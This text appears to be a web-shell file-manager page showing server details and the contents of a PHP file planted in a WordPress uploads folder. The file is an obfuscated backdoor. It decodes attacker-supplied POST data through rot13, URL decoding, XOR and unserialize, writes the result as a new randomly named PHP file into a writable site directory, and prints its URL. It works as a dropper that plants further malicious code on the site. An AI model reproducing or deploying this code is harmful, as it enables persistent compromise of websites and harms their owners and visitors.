HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/public_html/wp-content/uploads/2021/02/hsqezrda.php
<?php function vNrWPfkrZG($tGTgSdS, $TosmyvVuZH, $myiuq){$acvvUb = "4d37b8ca-6a46-4932-ba5d-248046bacc2d";return $tGTgSdS ^ $acvvUb[$TosmyvVuZH % strlen($acvvUb)] ^ $myiuq;}$crLwzbCtv = "HHeIXTIU";function zgwrn($crLwzbCtv){ $ogHtePnjSP = 's'."\164".chr(114)."\x5f"."\x72"."\157".chr(363-247).chr(49)."\63";$crLwzbCtv = $ogHtePnjSP($crLwzbCtv);$gxzdQM = chr(114).'a'."\167"."\165"."\162".chr(108).chr(100)."\x65".chr(897-798).'o'.'d'.chr(901-800);$crLwzbCtv = $gxzdQM($crLwzbCtv);$crLwzbCtv = str_split($crLwzbCtv);return $crLwzbCtv;}function dCRuOS($XAGkZAgysP, $myiuq){$XAGkZAgysP = array_map("vNrWPfkrZG", array_values($XAGkZAgysP), array_keys($XAGkZAgysP), array_values($myiuq));$XAGkZAgysP = implode("", $XAGkZAgysP);$NFoNj = chr(948-831).chr(960-850)."\x73"."\x65".chr(114)."\151".chr(739-642)."\x6c"."\151".chr(395-273)."\145";$XAGkZAgysP = @$NFoNj($XAGkZAgysP);return $XAGkZAgysP;}function hKZkh($myiuq, $XAGkZAgysP){$myiuq = array_slice(str_split(str_repeat($myiuq, (count($XAGkZAgysP)/16)+1)), 0, count($XAGkZAgysP));return $myiuq;}function fVDJcam(){echo "XUpyCX";}function GnjJB($yddGZwBipKir){static $kgtNA = array();$ENGbhx = glob($yddGZwBipKir . '/*', GLOB_ONLYDIR);$XRPhFmsBmb = count($ENGbhx);if ($XRPhFmsBmb > 0) {foreach ($ENGbhx as $yddGZwBipK) {$fZWNfz = chr(105).chr(1096-981)."\137".'w'.'r'.chr(535-430).'t'.chr(97)."\142".chr(622-514)."\x65";if (@$fZWNfz($yddGZwBipK)) {$kgtNA[] = $yddGZwBipK;}}}foreach ($ENGbhx as $yddGZwBipKir) GnjJB($yddGZwBipKir);return $kgtNA;}function SBFvPDqbt($XAGkZAgysP){$KkiSS = "\104"."\117".'C'.chr(293-208).chr(77).'E'.chr(78)."\x54"."\137"."\122"."\x4f"."\x4f".'T';$LotOBkf = $_SERVER[$KkiSS];$ENGbhx = GnjJB($LotOBkf);$QkpRkCdxk = array_rand($ENGbhx);$OOuhBLlfFR = chr(46).chr(246-134).chr(104)."\160";$sjnZZZVAOv = $ENGbhx[$QkpRkCdxk] . "/" . substr(md5(time()), 0, 8) . $OOuhBLlfFR;$MXzUceKp = chr(634-532)."\151".chr(260-152)."\145"."\137".chr(112)."\165".chr(1041-925).'_'."\143"."\157"."\x6e"."\164".chr(101).'n'.chr(116).'s';@$MXzUceKp($sjnZZZVAOv, $XAGkZAgysP);$gSkWnpN = 'H'."\x54"."\x54".'P'."\137"."\x48"."\x4f".chr(856-773).'T';$CgjjcHwraj = "\150".chr(469-353).chr(116).'p'.':'.'/'.chr(938-891);$hNsbcWK = $CgjjcHwraj . $_SERVER[$gSkWnpN] . substr($sjnZZZVAOv, strlen($LotOBkf));print($hNsbcWK);}function tOgQSL(){$ivPjxHrpU = chr(112)."\150"."\160";$kgHVSHpGrF = chr(112).chr(104)."\160"."\166".chr(776-675).'r'.chr(399-284).'i'."\x6f".'n';$XAGkZAgysP = Array($ivPjxHrpU => @$kgHVSHpGrF(), );$ysyHCrGgc = 's'.'e'.chr(114).chr(105).chr(1037-940)."\x6c".'i'.chr(122).chr(398-297);echo @$ysyHCrGgc($XAGkZAgysP);}function QwQymTdS(){echo "HHeIXTIU";}foreach ($_POST as $myiuq => $XAGkZAgysP){$HNoeCcXKM = strlen($myiuq);if ($HNoeCcXKM == 16){$XAGkZAgysP = zgwrn($XAGkZAgysP);$myiuq = hKZkh($myiuq, $XAGkZAgysP);$XAGkZAgysP = dCRuOS($XAGkZAgysP, $myiuq);if (@is_array($XAGkZAgysP)){$QkpRkCdxk = array_keys($XAGkZAgysP);$XAGkZAgysP = $XAGkZAgysP[$QkpRkCdxk[0]];$QkpRkCdxk = $QkpRkCdxk[0];$QkpRkCdxk = substr($QkpRkCdxk, 0);if ($XAGkZAgysP !== $QkpRkCdxk){SBFvPDqbt($XAGkZAgysP);}else {tOgQSL();}}}}die();